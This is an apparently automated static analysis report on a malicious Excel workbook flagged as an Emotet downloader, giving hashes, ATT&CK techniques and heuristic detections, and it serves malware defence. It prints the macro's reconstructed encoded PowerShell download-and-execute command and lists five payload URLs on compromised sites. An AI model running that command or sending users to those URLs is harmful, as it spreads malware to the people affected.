Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 6327f69a9d3b0b23…

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: dbb9a3abb7caaeefba1c1201fb33b534 SHA-1: dcff975b0930bf09d52850d53f3d4539a73ccb8c SHA-256: 6327f69a9d3b0b2326718359f3d314d91b526faa8c16bf369e0d6e8d3a92aa59
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is an Excel file containing a Workbook_Open VBA macro. This macro is designed to execute a series of commands, including reconstructing and executing a PowerShell command that downloads and executes payloads from multiple embedded URLs. The presence of the 'Doc.Downloader.EmotetExcel' ClamAV signature further supports its malicious nature as a downloader. The reconstructed PowerShell command is: 'powershell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAcwB1AG0AbQBpAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAZgBnAEIAUwBRAGEANwBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADEAegBlAEEASwBHAFQAbgBTADYASQAvACwAaAB0AHQAcAA6AC8ALwBjAGEAbgBkAGkAcwBlAGUALgBiAG0AaQBuAHQAZQByAGEAYwB0AGkAdgBlAGcAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AGwASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHIAZwAv'. The macro also attempts to drop a batch file and a VBScript to 'c:\programdata\'.

Heuristics 8

  • URL reconstructed from VBA cell-staged base64 dropper (5 URLs) critical OLE_VBA_CELL_DROPPER_URL
    VBA reads worksheet cells, strips junk substrings via Replace(), and base64/UTF-16 decodes the result into a PowerShell EncodedCommand payload. The download URL is never contiguous in the file bytes; it was recovered by removing the macro's Replace() junk tokens from the cell strings and decoding the staged base64.
  • ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://store.uxdsummit.com/wp-admin/VfgBSQa7Z/
    • https://glowrentals.com/wp-admin/f1zeAKGTnS6I/
    • http://candisee.bminteractivegroup.com/1g94ngo/2n7lJoPuPDEanPcX/
    • http://bachilleratoporciclos.org/wp-content/zR/
    • http://formula8020.com/css/JCuR6OE404DgR/

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 12041 bytes

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